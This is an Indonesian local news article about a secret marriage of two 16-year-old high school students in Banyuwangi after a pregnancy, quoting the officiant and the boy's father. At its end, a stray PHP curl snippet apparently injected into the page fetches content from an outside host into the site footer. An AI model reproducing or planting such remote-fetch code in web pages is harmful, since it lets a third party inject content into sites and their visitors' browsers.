Siswi SMA NEGERI di Banyuwangi Diduga Melakukan Nikah Siri karena Hamil

Rabu, 12 Januari 2022

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Ilustrasi

Ilustrasi

Banyuwangi l Jejakkasus.info – Kasus Pernikahan Siri anak dibawah umur terjadi lagi di Banyuwangi seperti yang dialami Tukirun (nama samaran), warga Kecamatan Srono. Remaja 16 tahun ini terpaksa menikah diam-diam di usia sangat muda karena sang kekasih hamil duluan.

Tukirun, siswa kelas XI IPA 3 di salah satu SMA Negeri di Desa Wonosobo Kecamatan Srono ini ternyata telah menjalin cinta dengan Mawar (nama samaran) teman sekelasnya yang mana saat ini telah dinikahkan secara diam-diam pada Sabtu malam, 25 Desember 2021 karena telah hamil duluan namun mereka berdua saat dinikahkan masih berstatus pelajar.

Baca Juga:  Vidio Viral Salah Satu Pengurus AMT TBBM Tanjungwangi Gegerkan Warga Net

Safi’i Riyadi warga Dusun Sukolilo Desa Sukomaju Kecamatan Srono selaku penghulu membenarkan bahwa memang telah terjadi pernikahan siri mengingat gadis tersebut telah hamil namun kepastian hamil berapa bulan Safi’i Riyadi tidak dapat memastikan hanya informasi antara 3 atau 7 bulan sebenarnya kata Safi’i Riyadi “ Saya menolak untuk menikahkan mereka karena masih dibawah umur namun karena saya dipaksa oleh Boneng (nama samaran orang tua laki-laki) akhirnya saya bersedia dan satelah saya sampai dirumah Boneng terlihat Lihin Ketua RT 02 dan Suk Ketua RT 03 serta Agung Ketua RW 04 yang juga adalah guru di SMP Negeri 1 Muncar semua telah berkumpul selanjutnya saya melakukan acara pernikahan siri tersebut.
Kepala Sekolah kaget ketika mendengar kedua muridnya telah menikah siri akhirnya pihak sekolah melakukan penelusuran selanjutnya memanggil kedua orang tua murid tersebut dan memberikan surat pengunduran diri atas permintaan orng tua murid pada, Senin 03 Januari 2022.

Baca Juga:  Brenzen Dirgantara Bagikan Sembako ke Yatim Piatu

Menurut keterangan Boneng bahwa dirinya yang menyuruh Safi’i Riyadi untuk segera menikahkan anaknya guna menutupi aib keluarga walaupun ini sebuah pelanggaran karena gadis atau calon mantu sudah tinggal dirumahnya kemudian dalam keadaan hamil 1 bulan hal itu disampaikan Boneng saat ditemui dirumah Penghulu pada Selasa, 04 Januari 2021 sekira pukul 10.00 wib. Namun ketika ditanyakan surat keterangan dokter terkait usia kehamilan Mawar ternyata Boneng tidak dapat menunjukan surat tersebut sehingga usia kehamilan Mawar menjadi beragam ada yang mengatakan 1 bulan, 3 bulan bahkan 7 bulan dan jelasnya pihak keluarga masih merahasiakannya.

Baca Juga:  LSM Gagak Hitam Tingkatkan Jiwa Sosial 

“Saya yang menyuruh Safi’i Riyadi untuk segera menikahkan anak saya guna menutupi aib keluarga karena gadis atau calon mantu saya sudah tinggal dirumah saya dan dalam keadaan hamil 1 bulan,” Tutup Boneng. (Redaksi)

 

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Kunjungan Kepala Dinas Pendidikan Provinsi Jatim Ke Kabupaten Jombang
Tambang Galian C Desa Tugu, Kecamatan Wates, Kabupaten Kediri dalam Monitoring Ketua Umum LSM Gimicak
Ditresnarkoba Diringkus Polda Babel Miliki 2,6 Kg Sabu 14 Kg Ganja
Gegara Pokmas Tidak Pegang (RAB) Proyek SDN Kandangan 1 Senduro Kisruh, Pihak Sekolah Diundang Inspektorat
Satsamapta Polres Situbondo Polda Jatim Gerak Cepat (Gercep), Respon Laporan Masyarakat Terkait Peredaran Miras
Rayon Barat Polresta Sidoarjo Apel Bersama Oprasi Cooling System Tahun 2024 .
Wahyudi Dengan Tegas Menolak Kebijakan Pemerintah Yang Menaikan E Retribusi Di Situasi-Kondisi Pasar Sepi Dan Memprihatinkan Saat Ini
Waka II DPRD Badung I Made Wijaya Soroti: Peraturan Berbenturan,Nasib Tanah Negara Di Pererenan Menggantung

Berita Terkait

Jumat, 4 Oktober 2024 - 20:42 WIB

Kunjungan Kepala Dinas Pendidikan Provinsi Jatim Ke Kabupaten Jombang

Jumat, 4 Oktober 2024 - 20:06 WIB

Tambang Galian C Desa Tugu, Kecamatan Wates, Kabupaten Kediri dalam Monitoring Ketua Umum LSM Gimicak

Jumat, 4 Oktober 2024 - 11:38 WIB

Ditresnarkoba Diringkus Polda Babel Miliki 2,6 Kg Sabu 14 Kg Ganja

Jumat, 4 Oktober 2024 - 00:48 WIB

Gegara Pokmas Tidak Pegang (RAB) Proyek SDN Kandangan 1 Senduro Kisruh, Pihak Sekolah Diundang Inspektorat

Jumat, 4 Oktober 2024 - 00:47 WIB

Satsamapta Polres Situbondo Polda Jatim Gerak Cepat (Gercep), Respon Laporan Masyarakat Terkait Peredaran Miras

Berita Terbaru

Berita Utama

Kapolres Pringsewu Serukan Pilkada Damai Tanpa Diskriminasi

Jumat, 4 Okt 2024 - 19:31 WIB

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>